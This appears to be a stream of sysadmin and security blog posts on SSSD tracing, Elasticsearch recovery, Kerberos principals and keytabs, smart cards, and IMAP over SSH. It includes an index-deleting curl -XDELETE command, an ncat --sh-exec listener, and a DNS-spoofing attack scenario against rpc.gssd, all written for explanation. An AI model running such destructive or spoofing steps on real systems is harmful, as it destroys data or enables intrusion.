-rw-r--r--. 1 root root 8613 May  4 14:44 nested_group_perf.stp

Running the dp_request.stp script will track Data Provider requests and provide information about the request which took the most time to complete.

# vim /usr/share/sssd/systemtap/dp_request.stp 
/* Start Run with:
 *   stap -v dp_request.stp
 *
 * Then reproduce slow login or id/getent in another terminal.
 * Ctrl-C running stap once login completes.

# stap -v /usr/share/sssd/systemtap/dp_request.stp 
Pass 1: parsed user script and 469 library scripts using 244964virt/45004res/7588shr/37596data kb, in 100usr/20sys/128real ms.
Pass 2: analyzed script: 4 probes, 13 functions, 5 embeds, 11 globals using 246992virt/48356res/8816shr/39624data kb, in 30usr/160sys/396real ms.
Pass 3: using cached /root/.systemtap/cache/d5/stap_d5d7fd869e61741e13b43b7a6932a761_11210.c
Pass 4: using cached /root/.systemtap/cache/d5/stap_d5d7fd869e61741e13b43b7a6932a761_11210.ko
Pass 5: starting run.
        *** Beginning run! ***
        --> DP Request [Account #1] sent for domain [AD.JSTEPHEN]
                 DP Request [Account #1] finished with return code [0]: [Success]
                 Elapsed time [0m8.476s]

        --> DP Request [Account #2] sent for domain [idm.jstephen]
                 DP Request [Account #2] finished with return code [0]: [Success]
                 Elapsed time [0m0.003s]

        --> DP Request [Initgroups #3] sent for domain [AD.JSTEPHEN]
                 DP Request [Initgroups #3] finished with return code [0]: [Success]
                 Elapsed time [0m0.115s]

        --> DP Request [Account #4] sent for domain [idm.jstephen]
                 DP Request [Account #4] finished with return code [0]: [Success]
                 Elapsed time [0m0.001s]

        --> DP Request [Account #5] sent for domain [idm.jstephen]
                 DP Request [Account #5] finished with return code [0]: [Success]
                 Elapsed time [0m0.002s]

        --> DP Request [Account #6] sent for domain [idm.jstephen]
                 DP Request [Account #6] finished with return code [0]: [Success]
                 Elapsed time [0m0.001s]

        --> DP Request [Account #7] sent for domain [idm.jstephen]
                 DP Request [Account #7] finished with return code [0]: [Success]
                 Elapsed time [0m0.000s]

        --> DP Request [Account #8] sent for domain [idm.jstephen]
                 DP Request [Account #8] finished with return code [0]: [Success]
                 Elapsed time [0m0.001s]

        --> DP Request [Account #9] sent for domain [idm.jstephen]
                 DP Request [Account #9] finished with return code [0]: [Success]
                 Elapsed time [0m0.001s]

^C
Ending Systemtap Run - Providing Summary
Total Number of DP requests: [9]
Total time in DP requests: [0m8.600s]
Slowest request data:
        Request: [Account #1]
        Start Time: [Fri May  5 10:47:14 2017 EDT]
        End Time: [Fri May  5 10:47:23 2017 EDT]
        Duration: [0m8.476s]

Pass 5: run completed in 0usr/40sys/15329real ms.

We can see that the getAccountInfo #1 DP request completed in 8.476 seconds, the Start Time/End Time provided here can be used to help narrow down log analysis.

(Fri May  5 10:47:14 2017) [sssd[be[idm.jstephen]]] [dp_get_account_info_handler] (0x0200): Got request for [0x1][BE_REQ_USER][name=trustuser1@ad.jstephen]
(Fri May  5 10:47:14 2017) [sssd[be[idm.jstephen]]] [dp_attach_req] (0x0400): DP Request [Account #1]: New request. Flags [0x0001].
(Fri May  5 10:47:14 2017) [sssd[be[idm.jstephen]]] [dp_attach_req] (0x0400): Number of active DP request: 1
...
<snip>
...
(Fri May  5 10:47:23 2017) [sssd[be[idm.jstephen]]] [dp_req_done] (0x0400): DP Request [Account #1]: Request handler finished [0]: Success

The existing SystemTap scripts can be modified or new scripts can be created for a certain use-case as long as the existing probes/tapsets in /usr/share/systemtap/tapset/sssd.stp are used.

# LDAP search probes
probe sdap_search_send = process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_get_generic_ext_send")
{
    base = user_string($arg1);
    scope = $arg2;
    filter = user_string($arg3);

    probestr = sprintf("-> search base [%s] scope [%d] filter [%s]",
                       base, scope, filter);
}

The stap -L command shown previously will list out the functions where probes were added making these markers available for writing scripts with.

The goal will be to add more low-level probes to iterative functions where SSSD spends a lot of time. This will allow developers and administrators to analyze performance issues in detail.

Elasticsearch Troubleshooting - unassigned_shard and cluster state RED

2017-03-15T17:45:33+00:00

Problem - unassigned_shards and cluster status RED

Using OpenShift origin-aggregated-logging 1.2, Elasticsearch 1.5.2, the cluster status is RED.

oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  https://localhost:9200/_cluster/health | \
  python -mjson.tool
{
    "active_primary_shards": 12345,
    "active_shards": 12345,
    "cluster_name": "logging-es",
    "initializing_shards": 0,
    "number_of_data_nodes": 3,
    "number_of_nodes": 3,
    "number_of_pending_tasks": 0,
    "relocating_shards": 0,
    "status": "red",
    "timed_out": false,
    "unassigned_shards": 7
}

The problem is the unassigned_shards. We need to identify those shards and
figure out how to deal with them so the cluster can move to yellow or
green.

Solution - identify and delete problematic indices

Use the /_cluster/health?level=indices to get a list of the indices status:

oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  https://localhost:9200/_cluster/health?level=indices | \
  python -mjson.tool > indices.json

The report will list each index and its state:

"my-index.2017.03.15":{
   "active_primary_shards": 4,
   "active_shards": 4,
   "initializing_shards": 0,
   "number_of_replicas": 0,
   "number_of_shards": 5,
   "relocating_shards": 0,
   "status": "red",
   "unassigned_shards": 1
 },
 ...

Look for records that have "status": "red" and an "unassigned_shards" with
a value of 1 or higher. IF YOU DON’T NEED THE DATA ANYMORE, AND ARE SURE
THAT THIS DATA CAN BE LOST, then it might be easiest to just delete these using
the REST API:

oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  -XDELETE https://localhost:9200/my-index.2017.03.15

If you need to recover this data, or deletion is not working, then use the
recovery procedure documented at
indices recovery

About Nathaniel McCallum

2017-02-16T00:00:00+00:00

Nathaniel McCallum is a Principal Software Engineer at Red Hat where he develops security related technologies.

If you’re looking for someone to blame for software projects such as FreeOTP, José, Clevis and Tang, Nathaniel is the guy. He also regularly breaks projects such as FreeIPA and MIT Kerberos with his “contributions.” Not satisfied with unleashing poor software on the world, he works on dismantling the Internet via new IETF Internet Drafts and dabbling in cryptography.

Outside the office, he tries to corrupt the minds of the youth through philosophy. His legacy of destruction is all but ensured due to his five children. Also, his wife tolerates him.

Distributing Secrets with Custodia

2015-08-15T20:56:00+00:00

My last blog post described a crypto library I created named JWCrypto. I've built this library as a building block of Custodia, a Service that helps sharing Secrets, Keys, Passwords in distributed applications like micro service architectures built on containers.

Custodia is itself a building block of a new FreeIPA feature to improve the experience of setting up replicas. In fact Custodia at the moment is mostly plumbing for this feature, and although the plumbing is all there, it is not very usable outside of the FreeIPA project without some thinkering.

The past week I was at Flock where I gave a presentation on the problem of distributing Secrets Securely, which is based on my work and my thinking about the general problem and how I applied that thinking to build a generic service which I then specializes for use by FreeIPA. If you are curious, I have posted the slides I used during my talk, and they assure me soon there will soon be video recordings of all the talks available online.

Dynamic DNS updates in SSSD

2015-08-09T22:39:36+00:00

SSSD supports dynamic DNS (DDNS) and utilizes nsupdate tool for this purpose. To enable/disable DDNS dyndns_update domain option is used. When DDNS was enabled, by default the address of LDAP connection was used for the DNS updates. This behaviour has changed in the recent SSSD version. Now all (DNS valid) IPv4 and IPv6 addresses of […]

JWCrypto a python module to do crypto using JSON

2015-04-15T20:56:00+00:00

Lately I had the need to do use some crypto in a web-like scenario, a.k.a over-HTTP(S) so I set out to look at what could be used.

Pretty quickly it came clear that the JSON Web Encryption standard proposed in the IETF JOSE Working Group would be a good fit and actually the JSON Web Signature would come useful too.

Once I was convinced this was the standard to use I tried to find out a python module that implemented it as the project I am going to use this stuff in (FreeIPA ultimately) is python based.

The only implementation I found initially (since then I've found other projects scattered over the web) was this Jose project on GitHub.

After a quick look I was not satisfied by three things:

It is not a complete implementation of the specs
It uses obsolete python crypto-libraries wrappers
It is not Python3 compatible

While the first was not a big problem as I could simply contribute the missing parts, the second is, and the third is a big minus too. I wanted to use the new Python Cryptography library as it has proper interfaces and support for modern crypto, and neatly abstracts away the underlying crypto-library bindings.

So after some looking over the specs in details to see how much work it would entail I decided to build a python modules to implement all relevant specs myself.

The JWCrypto project is the result of a few weeks of work, complete of Documentation hosted by ReadTheDocs.

It is an almost complete implementation of the JWK, JWE, JWS and JWT specs and implements most of the algorithms defined in the JWA spec. It has been reviewed internally by a member of the Red Hat Security Team and has an extensive test suite based on the specs and the test vectors included in the JOSE WG Cookbook. It is also both Python2.7 and Python3.3 compatible!

I had a lot of fun implementing it, so if you find it useful feel free to drop me a note.

On Load Balancers and Kerberos

2015-04-05T16:56:00+00:00

I've recently witnessed a lot of discussions around using load balancers and FreeIPA on the user's mailing list, and I realized there is a lot of confusion around how to use load balancers when Kerberos is used for authentication.

One of the issues is that Kerberos depends on accurate naming as server names are used to build the Service Principal Name (SPN) used to request tickets from a KDC.

When people introduce a load balancer on a network they usually assign it a new name which is used to redirect all clients to a single box that redirects traffic to multiple hosts behind the balancer.

From a transport point of view this is just fine, the box just handles packets. But from the client point of view all servers now look alike (same name). They have, intentionally, no idea what server they are going to hit.

This is the crux of the problem. When a client wants to authenticate using Kerberos it needs to ask the KDC for a ticket for a specific SPN. The only name available in this case is that of the load balancer, so that names is used to request a ticket.

For example, if we have three HTTP servers in a domain: uno.ipa.dom, due.ipa.dom, tre.ipa.dom; and for some reason we want to load balance them using the name all.ipa.dom then all a client can do is to go to the KDC and ask for a ticket for the SPN named: HTTP/all.ipa.dom@IPA.DOM

Now, once the client actually connect to that IP address and gets redirected to one of the servers by the load balancer, say uno.ipa.dom it will present this server a ticket that can be utilized only if the server has the key for the SPN named HTTP/all.ipa.dom@IPA.DOM

There are a few ways to satisfy this condition depending on what a KDC supports and what is the use case.

Use only one common Service Principal Name

One of the solutions is to create a new Service Principal in the KDC for the name HTTP/all.ipa.dom@IPA.DOM then generate a keytab and distribute it to all servers. The servers will use no other key, and they will identify themselves with the common name, so if a client tries to contact them using their individual name, then authentication will fail, as the KDC will not have a principal for the other names and the services themselves are not configure to use their hostname only the common name.

Use one key and multiple SPNs

A slightly friendlier way is to assign aliases to a single principal name, so that clients can contact the servers both with the common name and directly using the server's individual names. This is possible if the KDC can create aliases to the canonical principal name. The SPNs HTTP/uno.ipa.dom, HTTP/due.ipa.dom, HTTP/tre.ipa.dom are created as aliases of HTTP/all.ipa.dom, so when a client asks for a ticket for any of these names the same key is used to generate it.

Use multiple keys, one per name

Another way again is to assign servers multiple keys. For example the server named uno.ipa.dom will be given a keytab with keys for both HTTP/uno.ipa.dom@IPA.DOM and HTTP/all.ipa.dom@IPA.DOM, so that regardless of how the client tries to access it, the KDC will return a ticket using a key the service has access to.

It is important to note that the acceptor, in this case, must not be configured to use a specific SPN or acquire specific credentials before trying to accept a connection if using GSSAPI, otherwise the wrong key may be selected from the keytab and context establishment may fail. If no name is specified then GSSAPI can try all keys in the keytab until one succeeds in decrypting the ticket.

Proxying authentication

One last option is to actually terminate the connection on a single server which then proxies out to the backend servers. In this case only the proxy has a keytab and the backend servers trust the proxy to set appropriate headers to identify the authenticated client principal, or set a shared session cookie that all servers have access to. In this case clients are forbidden from getting access to the backend server directly by firewalling or similar network level segregation.

Choosing a solution

Choosing which option is right depends on many factors, for example, if (some) clients need to be able to authenticate directly to the backend servers using their individual names, then using only one name only like in the first and fourth options is clearly not possible. Using or not aliases may or not be possible depending on whether the KDC in use supports them.

More complex cases, the FreeIPA Web UI

The FreeIPA Web UI adds more complexity to the aforementioned cases. The Web UI is just a frontend to the underlying LDAP database and relies on constrained delegation to access the LDAP server, so that access control is applied by the LDAP server using the correct user credentials.

The way constrained delegation is implemented requires the server to obtain a TGT using the server keytab. What this means is that only one Service Principal Name can be used in the FreeIPA HTTP server and that name is determined before the client connects. This factor makes it particularly difficult for FreeIPA servers to be load balanced. For the HTTP server the FreeIPA master could theoretically be manually reconfigured to use a single common name and share a keytab, this would allow clients to connect to any FreeIPA server and perform constrained delegation using the common name, however admins wouldn't be able to connect to a specific server and change local settings. Moreover, internal operations and updates may or may not work going forward.

In short, I wouldn't recommend it until the FreeIPA project provides a way to officially access the Web UI using aliases.

A poor man solution if you want to offer a single name for ease of access and some sort of load balancing could be to stand up a server at the common name and a CGI script that redirects clients randomly to one of the IPA servers.

PSA - Smart Cards are still a Hell - Instructions for CardOS cards

2014-01-02T17:00:00+00:00

Some time ago I received a Smart Card from work in order to do some testing. Of course as soon as I received it I got drowned into some other work and had to postpone playing with it. Come the winter holiday break and I found some time to try this new toy. Except ...

... except I found out that the Smart Card Hell is still a Hell

I tried to find information online about how to initialize the CardOS card I got and I found very little cohesive documentation even on the sites of the tools I ultimately got to use.

The smart card landscape is still a fragmented lake of incompatibility, where the same tools work for some functions on some cards and lack in any way usability.

Ultimately I couldn't find out the right magic incantation for the reader and card combo I had, and instead had to ask a coworker that already used this stuff.

Luckily he had the magic scroll and it allowed me, at least, to start playing with the card. So for posterity, and for my own sake, let me register here the few steps needed to install a certificate in this setup.

I had to use no less than 3 different CLI tools to manage the job, which is insane in its own right. The tools as you will see have absurd requirements like sometimes specifying a shared object name on the CLI ... I think smart card tools still win the "Unusable jumbled mess of tools - 2013 award".

The cardos-tool --info command let me know that I have a SCM Microsystems Inc. SCR 3310 Reader using a CardOS V4.3B card. Of course you need to know in advance that your card is a CardOS one to be able to find out the tool to use ...

The very Lucky thing about this card is that if can be reformatted to pristine status w/o knowing any PIN or PUK. Of course that means someone can wipe it out, but that is not a big deal in production (someone can always lock it dead by failing enough time to enter PIN and PUK codes), but it is great for developers that keep forgetting whatever test PIN or PUK code was used with the specific card :-) This way the worst case is that you just need to format and generate/install a new cert to keep testing.

So on to the instructions:

Format the card:

cardos-tool -f

and notice how no confirmation at all is requested, and it works as a user on my Fedora 20 machine. I find not asking for confirmation a bit bold, given this operation destroys all current content, but ... whatever ...

Create necessary PKCS#15 and set admin pins:

pkcs15-init -CT --so-pin 12345678 --so-puk 23456789

note, that you have to know that you need to create this stuff and that a tool with obscure switches to do it also exists ...

Separately create user PIN and unlock code:

pkcs15-init -P -a 1 --pin 87654321 --puk 98765432 --so-pin 12345678 --label "My Cert"

No idea why this needs to be a separate operation, part of the magic scroll.

Finally import an existing certificate:

pkcs15-init --store-private-key /path/to/file.cert --auth-id 01 --pin 87654321 --so-pin 12345678

again not sure why a separate command, also note that this assumes a PEM formatted file, if you have a pkcs12 file use the --format pkcs12 switch to feed it into. Note that the tool assumes pkcs12 cert files are passphrase protected so you need to know the code before trying to upload such formatted certs ion the card.

Check everything went well with:

pkcs11-tool --module opensc-pkcs11.so -l --pin 87654321 -O

of course yet another tool, with the most amusing syntax of them all ...

... and that is all I know at this point. If you feel the need to weep at this point feel free, I am reserving a corner of my room to do just that later on after lunch ...

GSS-NTLMSSP a new GSSAPI Mechanism

2013-10-13T19:00:00+00:00

Without fanfare here is my latest wandering in the creation of obscure and complicated security infrastructure software: GSS-NTLMSSP.

NTLM is Microsoft's first effort at creating a secure authentication method that wouldn't rely on exposing the user password to the target service and instead used a Challenge Response mechanism to create proof of knowledge of a shared secret between the client and the server.

During the years Microsoft has slighlty improved the protocol and later on when they finally created the SSPI subsystem in Windows they created the NTLMSSP mechanism that incapsulated all NTLM usages.

Micosoft's SSPI is the Windows equivalent (and wire-compatible) version of GSSAPI and I've been wanting to build this mechanism since MIT Kerberos added directly supoport for the SPNEGO negotiation mechanism.

The current code is still young and many things are missing, notably the ability to use Domain Controller based authentication for the server side. However I find it is a quite useful module for clients, so here we have our first shiny release: 0.1.0.

Feel free to try and use it and let me know if you have neat ideas to improve its use and usability.

About Kerberos Principals and Keys

2013-06-20T21:00:00+00:00

I find time and again people find the concept of principals is a confusing unless they are very familiar with Kerberos.

I see the same issues when discussing about keys and keytabs.

So what is a Kerberos Principal ?

The simplest, initial, answer can be that a principal is the analogous of a user name in a multiuser OS. So why do we call it principal ? And why do you hear variations like 'User Principal' or 'Service Principal' ?

The reason why the term principal is used is because 'user' is indeed insufficient, too generic and misleading. In Kerberos there are many actors that need keys, any actor that need a key needs to be represented by an identifier. These identifiers are compounded strings called 'principals'.

Anatomy of a principal

A principal is a set of components represented by strings. One very important component is the realm name, each principal is always fully qualified with the name of the realm, The realm is represented by the last component in the string form. It is placed after an @ sign and is conventionally all upper case. The first part of the principal, instead, represents a specific identity within the realm. The first part can be split in multiple components joined by a / character.

Example:

component1 / component2 @ REALM

The simplest principals are actually what we think of users, generally actual people. The simplest identifier to represent users uses just one component and the realm. For example, the principal simo@EXAMPLE.COM represents a user named 'simo' that belongs to a realm named EXAMPLE.COM

The component is what we think of a user name, pretty simple so far. The realm as you can see resembles a domain name. That is on purpose as normally Kerberos realms are tied to DNS domain names, although not strictly required by the protocol specifications. Some implementations of Kerberos like Active Directory makes this a requirement. In AD the realm name is always the (DNS) domain name.

Another set of extremely important principals are the so called Service Principals. These principals represent actual programs or computers. Their form normally comprises two components, a service part and a fully qualified hostname.

Example:

nfs/server.example.com@EXAMPLE.COM

Let's analyze this principal name. The first component represents the service being used, in this case 'nfs' is used to represent a NFS server. Other well know service types are 'HTTP', 'DNS', 'host', 'cifs', etc... The second component is a DNS name. This is the server's own name. The realm specifies that this service is bound to the EXAMPLE.COM realm.

Why this specific convention was chosen to represent a specific NFS Server ?

The reason is that the Kerberos protocol does not offer a name resolution service. So a convention was devised to make it easy for a client to automatically compute what is the principal name of a target service they want to contact based on 2 easy to know names: the service type, and the name of the host that is offering it. This is necessary because this name is used by the client to contact the KDC and ask for a ticket for that specific service. If the client doesn't know the specific name of the target service, it cannot ask for a ticket.

The service type is easy to know, an NFS client is used to connect to an NFS server and the type can simply be hard coded to 'nfs', or can be set into a configuration file quite easily, it will be the same for all services of that type across the network.

The host name is also generally a well known name. When a user wants to connect to a specific server it has to identify it somehow to the NFS client, and that usually means giving the mount utility a server 'name'. Same for HTTP, you have to give the browser a server name to contact as part of a URL and so on. The only limitation, in case of Kerberos is that you need the canonical form upfront (although there is work to relax this requirement). DNS is often used to find out the canonical form from a shorter name or sometimes even an IP address (but see this post about reverse resolution).

The question at this point is why do we need principals to represent services or whole hosts ? The answer is that each service you want to contact needs keys in order to decrypt the tickets you present them to authenticate yourself.

Keys and Keytabs

Each principal is associated to a specific key in the KDC and this key is used to encrypt the tickets given to the clients. A service needs the same key in order to decrypt tickets; this is why Kerberos is called a shared key system. Any actor in a Kerberos system has a key that is also known to the KDC and is used to authenticate messages sent to the KDC or received from the KDC (a ticket can be considered a message received indirectly from the KDC where the KDC asserts the identity of the client.)

For user principals the key is the user's password. The KDC stores a copy of the password (generally transformed from the clear text into a more cryptographically useful secret through a key derivation process, but nonetheless perfectly equivalent to the user password).

For service principals, generally, instead of using a password a random key is generated and stored both in the KDC and in a file called a 'Keytab'.

A keytab file contains keys for a specific service, it is completely equivalent to a password file and needs to be treated as a highly sensitive secret.

Possession of the keytab means ability to fully impersonate the principal whose keys are stored in the keytab file. This means a keytab file should never be transmitted over a network in the clear (no emailing of keytabs please) and should be protected by appropriate access control (file permissions) at all times; a common mistake is to create a file in /tmp that is readable by anyone and only then move it somewhere else more secure.

Users can also use keytabs, a password can always be transformed into a keytab (using the same key derivation process that the KDC uses to store its copy), but that is less common because any password change will require to create a new keytab with the new keys.

Using and mapping principals

One of the things that people seem not to realize when they are first shown principals is that any principal can be used as a client to contact any service (this is not always true in AD as sometimes Service Principals are not allowed to request a TGT, but this is a configuration decision and is not always true).

This means that when accepting connections authenticated via Kerberos, applications need to pay a little bit of attention to who the client is. And need to perform some basic access control on the client principal before allowing access.

A common mistake is to take the principal name in string form and simply cut anything after the @ sign (the realm name) and use the remaining part as a 'user name' on the system, then perform calls like getpwnam() with this user name and grant the client the same access this user has on the system. Another even worse mistake is to allow ANY client that could properly authenticate to access data as if it were 'trusted' somehow.

On the one hand this may not be sufficient, and on the other this may be dangerously broad and an actual security issue.

First of all, as we said above, any principal may try contact a service, not just users that have a 1-1 corresponding name in the system. A NFS Server may act as a client and use it's key to contact another service. For example a web application needs to decide whether it wants to grant access to a client named nfs/nfsserver.example.com@EXAMPLE.COM just like it gives access to joe@EXAMPLE.COM or not.

There are also more exotic principals that may contact a service though, not just principals that are somehow directly trusted by our own KDC. For example anonymous principals and principals coming from a trusted realm.

Anonymous principals are quite an obscure and little used feature, often it is not possible to get tickets anonymously in a Kerberos realm, but they are allowed by some implementation, and if the KDC is configured to allow anonymous principals then applications need to be careful not to give these clients the same access they give to fully identified clients.

The anonymous principal is:

WELLKNOWN/ANONYMOUS@WELLKNOWN:ANONYMOUS

As can be seen the realm is actually a specially named realm and this is to avoid legacy apps that match the REALM before allowing access to be fooled in to thinking this is a fully trusted user. This is one reason why simply blindly chopping off anything after the @ character is a grave mistake.

Another reason why the realm part must be validated are Kerberos cross-realm trusts. A Kerberos realm can be configured to 'trust' another Kerberos realm. Meaning the principals of Realm A are allowed to get tickets for services in Realm B if there is a trust relationship between B and A.

For our application this means that it may be contacted by both the user joe@REALM.A and a different user joe@REALM.B that has nothing to do with the previous one. If our application simply cuts off the realm part, without checking that the realm matches something it understand, it may give access to data of a user in one realm to an homonym in another realm.

In general applications that do not want to deal with multiple realms should define one realm as allowed and refuse access to any principal that comes from a different realm. If multiple realms need to be supported (and that is a good idea) then appropriate mapping from the principal to an application identifier should be performed, by either using the full principal name as identifier, or by asking the system to map the principal for us including telling whether the principal is acceptable. This can be done in GSSAPI by using the gss_localname() function, which respects the auth_to_local configuration documented in the krb5.conf(5) manpage.

Using the system provided configuration allows admins to configure rules only once for the whole machine/network and avoid the need to implement mapping in every different application, so I highly recommend it where possible.

Additional warning: Principal names are considered case sensitive by the reference implementation (MIT Kerberos) but some implementation treat them in a case-insensitive way (Active Directory for example). It is safer to always treat principal names in a case sensitive way. (Active Directory will generally always provide the canonicalized form in tickets although it may accept mismatching cases when requesting tickets).

Hopefully this brief explanation will be useful to understand how to deal with principals and key tabs to the casual programmer that cares more about the practical implications rather than the abstract semantics and technicalities of the Kerberos protocol.

Why depending on DNS Reverse resolution is bad

2013-04-03T23:10:00+00:00

I have been recently involved in a discussion about why I go around trying to stop applications from using and sometime even depending on DNS Reverse resolution (PTR records lookups).

There are 2 main reasons:

In many networks you cannot really control the PTR records, so reverse resolution is simply broken
Reverse resolution is bad when used for security protocols like GSSAPI

Let's start from the first point, which is easy to argue about. In a lot of cases the person setting up a service is not the same person controlling the DNS. Even more the DNS person/organization controlling the Forward Zone may not be at all the same one that controls the Reverse Zone.

This is true for the general internet usage (try asking your ISP to set a special PTR record for your residential public IP address ... laughs) but also for some corporate environments where the Network Ops may be so separate from the user installing a machine and rules to ask changes to DNS so complex that it is sometime simply too inconvenient to ask for changes, especially in temporary settings like Proof of Concept trials, etc.. This is not hypothetical, in my past life as consultant I've seen it all, and I can tell PTR records are broken more often than not.

So by this reason alone depending on a PTR record to obtain the actual name of a server is a pretty high bar and will inevitably be a barrier for adoption. It gets to silly levels if an application actually gets the 'right' name in input and then translates it into an IP only to attempt reverse resolution and fail. Users legitimately get pissed the app is so stupid as to throw away the name they just gave it. I just gave the name to you! Don't you see it!

It is surprising how many applications do this silly game when it comes with providing the target name to GSSAPI, which introduces the second point.

Why is it bad from a security point of view ? We understand that it is unfortunate for cases were reverse resolution is broken, but if reverse resolution is properly configured what is so bad depending on it ?

This is a little scenario I wrote up on the linux-nfs mailing list to explain how the fact rpc.gssd (the client that handles GSSAPI authentication on the kernel behalf in user space for the nfs client module) depends on reverse resolution can actually be exploited by an attacker.

Assume the following scenario:

User Alice has access to secret documents that are automatically backed up daily by mounting a NFS share from secure.server.name
Only Alice has write or read access to this server
User Eve wants to get hold of those documents and is in a position to intercept and modify Alice's traffic

There is a similar server available on the network that Alice has write access to called public.server.name

Eve has read access on public.server.name

The NFS servers use RPCSEC_GSS (Kerberos) to secure the communications and perform mutual authentication.

Note that Eve does not need to be controlling any of the servers, and it is sufficient for her to be able to spoof DNS replies.

Now the attack: Eve wants to fool Alice's computer to mount the public server's NFS share instead of the secure server one, so that the automatic backup job will copy Alice's secret documents to the public server where Eve has read access and can grab a copy.

Normally this is not possible, because the Kerberos protocol implies mutual authentication. Not only the user authenticates to a server by using a ticket, but the ticket is only usable by the right target server, therefore authentication fail if either the user or the server are not who they say they are.

In our case normally Alice will grab a ticket for nfs@secure.server.name (GSSAPI Naming notation), which can be used exclusively to authenticate against the secure server. If Eve tries to redirect communication to the public server the authentication will fail because the public server is not able to decrypt the ticket.

However, rpc.gssd does a very bad thing(TM). When the client runs the mount command it uses the name provided on the command line to obtain the server's IP address, then ignores the fact we already have a name and proceeds to perform a reverse lookup to 'find' the server name.

What this means is that Eve can simply spoof the DNS to redirect Alice's computer to contact the wrong server and then later rpc.gssd will 'find' that the 'real' name of the server is public.server.name (Either because Eve spoofed the original forward resolution reply or by spoofing the reverse resolution reply later on).

Now Alice's computer will call into GSSAPI with the constructed name of nfs@public.server.name and when it connects to that server mutual authentication is successful because the ticket can be decrypted by the target server.

Eve just waits for Alice's computer to complete its backup on the wrong server on which she has read access, and grabs the documents.

This type of attack obviously is not limited to the NFS protocol but can be performed against any client that trusts DNS Reverse resolution to determine the target server's name. It is also not limited to GSSAPI, an SSL client might also be fooled the same way if it doesn't check the name that was provided in the URL but instead uses DNS Reverse resolution to validate the server certificate. Luckily I am not aware of any client doing that for HTTPS at least.

And that is all folks!

IMAPD via SSH and Thunderbird

2013-03-04T04:10:00+00:00

I have been using Evolution for many years, and one of the key features that kept me using it was the ability to run imapd on another machine via ssh. This was done using a simple command in Evolution's option:

ssh -l <user> <server> exec /usr/sbin/imapd

This ssh command will allow Evolution to connect directly to a pre-authenticated imapd process on my server avoiding the need to run a network facing service and the need for password based authentication. Everything is accessed via my ssh connection that uses key based authentication

(the option is not directly available anymore and you have to fiddle with gsettings to use it now, which is a real shame as it is completely undiscoverable.)

I recently decided to try out Thunderbird again and found out that this is one of the features that is still missing, after all these years ...

This was a blocker for me, so I decided to find a workaround that would allow me to use Thunderbird and still use ssh to reach the imapd daemon on my server, like I have done for the last decade.

After some tinkering and reading on all the SSH options for Nth time I came to the conclusion that ssh alone cannot run a remote command and wire it's STIDN/STDOUT to a local port even though it can do pretty much any other forwarding you may think of, including forwarding your local STIDN/STDOUT to a remote host/port ... a real shame.

The most I could achieve was to make SMTP available this way, as I do have an MTA listening to an actual TCP port on the server. Making the MTA available is easy, you just need to run the following command on your client:

ssh -f -N -C -L 10025:localhost:25 -o ExitOnForwardFailure=yes -l <user> <server>

This command, makes available locally on port 10025 the server's port 25 through a simple forward on a SSH encrypted channel. The -f and -N options, are used to put ssh in the background without running any command or shell. The -C option turns on compression and the ExitOnForwardFailure option makes ssh fail to start if it cannot establish the forwarding. This way if I run the command multiple times only one tunnel stays up as the other shells will simply silently exit.

This is quite cool already but doesn't solve my imap problem, to solve it I need to employ one of those little know yet very powerful tools available on Linux (and other *nix OSs as well): netcat

The version I have installed is the one distributed with the Nmap project.

Netcat (ncat or nc) is an incredibly useful tool. I've used it countless of times for all sort of things over the network. And it is the perfect tool to solve my problem when used this way:

ncat -k --sh-exec "ssh -C -l <user> <server> exec /usr/sbin/imapd" -l localhost 10143

This command does a wonderful thing. It keeps (-k) listening (-l) on the local port 10143 and every time there is a connection it will run the command provided by the --sh-exec option in a shell and wire it's STDIN/STDOUT to the connection that has been just opened over TCP.

This is exactly what I needed. Now every time Thunderbird connects to my local port 10143, netcat will run the ssh command that will connect to the remote server as my user and run the imapd server.

Although Thunderbird's configuration doesn't seem to allow for 'non' authenticated connections, everything seem to work fine if I just leave the password empty. (Remember the imapd server is pre-authenticated via my ssh connection as my remote user and requires no additional authentication)

So what is missing here ? The Security paranoids among my readers should have spotted one glaring issue! Everybody on my local machine can now connect to my local port 10143 and access my remote mailbox without authentication!!

Let me fix that with a single firewall instruction:

iptables -A OUTPUT -p tcp --dport 10143 -d 127.0.0.1 -m owner ! --uid-owner simo -j REJECT

Yep, it is a simple as that (on Linux at least). But what does it do ?

This command uses a very nifty feature of iptables that allows the kernel to recognize who is the owner of any outbound connection and will prevent any connection to port 10143 for any user on the system that is not me. Of course iptables filters any non local connection to my machine as well.

Problem solved!

Now I can start playing with Thunderbird and see what else I need to tweak to make it useful for me (one thing I already found is an add-on to import/export entire folders, a feature I always wanted and missed in Evolution)

Talking to people

2013-03-01T21:00:00+00:00

The new year started with a lot of talks at various conferences.

For the past few years I had slowed down on attending conferences, but this year started with my attendance to 2 conferences I like a lot.

The first is FOSDEM, probably the best Free Software conference and certainly the biggest one in the world.

I just love FOSDEM, I love Belgium for the Beers and Chocolate, so it is always a pleasure for me to go there. Plus I have friends in Brussels, where I have been multiple times in the past so it is always a pleasure to go back there for a full immerse week end.

This year I presented 2 talks at FOSDEM.

One in the main track about Identity Management on Linux and a second in the Legal Devroom about a Veteran's perspective on various legal matters surrounding Free and Open Source Software. I organized this talk as an open discussion between me and the public and I absolutely loved the conversation.

The IdM talk in contrast was a classic solo speech on a 30 kilometers high overview about the problem of building an IdM system on Linux and for Linux. It does have references to the FreeIPA project but does not go in deep technical details beyond explaining why we choose certain technologies.

This actually led to criticism after the talk: Not technical enough!

And it is a fair one, too bad that when I presented the initial abstract to FOSDEM I got the opposite reply: Too technical!, so I had to water down and broaden the initial proposal :-).

I guess you can never win this game, so my resolution is to oscillate between the two extremes ...

... which brings me to the other talk at DevConf.cz. This is a very nice conference, organized by Red Hat in Brno.

DevConf.cz is a developer conference so I presented a pretty technical talk on GSSAPI and privilege separation using Gss-Proxy which is the latest project I launched together with Nico and later the help of Günther.

This time I got the: Too technical! red flag. Hopefully, though, it was still interesting enough for the audience.

